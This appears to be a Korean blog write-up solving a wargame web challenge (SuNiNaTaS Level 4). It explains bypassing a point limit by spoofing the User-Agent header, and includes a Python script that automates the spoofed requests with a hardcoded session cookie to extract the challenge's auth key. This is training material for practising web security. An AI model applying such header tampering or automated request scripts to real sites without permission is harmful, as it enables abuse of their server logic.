글 작성자: 근삼이

WEB Level 4

level4에서는 두 가지 조건을 만족해야 클리어할 수 있습니다. 

페이지의 소스를 보면, 그 두 가지 조건에 대한 힌트가 나와 있습니다.

“<!-- Hint : Make your point to 50 & 'SuNiNaTaS'  -->”

1. 50 point를 만들어라.

2. 'SuNiNaTaS'



페이지의 하단에는 User-Agent 정보를 보여주고 있고, 동작 방식을 살펴보니 가운데에 위치한 Plus 버튼을 한번 누르면, 포인트의 값이 1씩 상승하는 구조인듯 하였습니다.

혹시나 하여, 프록시 툴을 활용하여 Point 값을 50으로 설정하여 서버에 넘겨보았지만, 돌아온 응답에서는 숫자가 정상적으로 카운팅 되어 올라가는 것을 보아, Plus버튼에 반응하여 숫자를 카운팅하는 독자적인 함수가 서버에 존재하는 것을 유추할 수 있었습니다.


직접 눌러서 Point를 50을 만들어 보려 하였으나, 역시나 문제가 발생했습니다.

카운트가 25를 넘어서자, “I like the SuNiNaTaS browser!” 라는 알림 창 하나만 띄우고 페이지가 아무런 동작을 하지 않았습니다.

역시나, 예상했던대로 User-Agent를 활용하는 문제였습니다.

프록시툴로 User-Agent 값을 'SuNiNaTaS'로 수정하여 요청을 넘겨보았더니, 다시 Point가 25를 넘어서 올라가기 시작했습니다. 다양한 방법을 이용하여 User-Agent 값을 수정한 뒤 요청하는 방식으로 Point를 50을 만들자, Auth Key를 얻을 수 있었습니다.



문제를 해결하기 위해서 여러가지 방법들을 사용할 수 있지만, 제가 생각한 가장 간단한 방법 두가지는

Burp Suite 프록시툴의 Repeater 기능을 활용하는 방법과,

각 브라우저들의 확장기능을 이용한 User-Agent 변조프로그램을 사용하는 방법이었습니다.


하지만 저는 뻘짓을 좋아하는 관계로,
Requests 모듈을 활용하여 User-Agent를 변조하여 페이지를 요청하고, 자동으로 Auth Key를 알아내는 코드를 만들어보았습니다. 

(나중에 BeautifulSoup 모듈의 필요성을 포스팅하기 위해 일부러 해당 모듈을 사용하지 않고 코딩하였습니다.)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
 
URL="http://suninatas.com/Part_one/web04/web04_ck.asp"
URL2="http://suninatas.com/Part_one/web04/web04.asp"
cookie={
    "ASPSESSIONIDSACATCBQ":"NDCOICIBHDOMIFBIPNHKMKJG"
    }
 
session1=requests.Session()
header={
    'user-agent':'SuNiNaTaS'
    }
 
 
for i in range(100) :
    data={
        'total':'0'
        }
    reqs1=session1.post(URL,cookies=cookie,data=data,headers=header)
    reqs2=session1.get(URL2,cookies=cookie)
    point = str(reqs2.text).split('value="')[3].split('" size="')[0]
    time.sleep(0.1)
    
    print ("Point : "+point)
    if int(point) == 0 :
        Auth = str(reqs2.text).split('Auth key</b></font></td>')[-1].split("</td>")[0].split(">")[-1]
        print (Auth)
        break
cs


Level4 Clear

반응형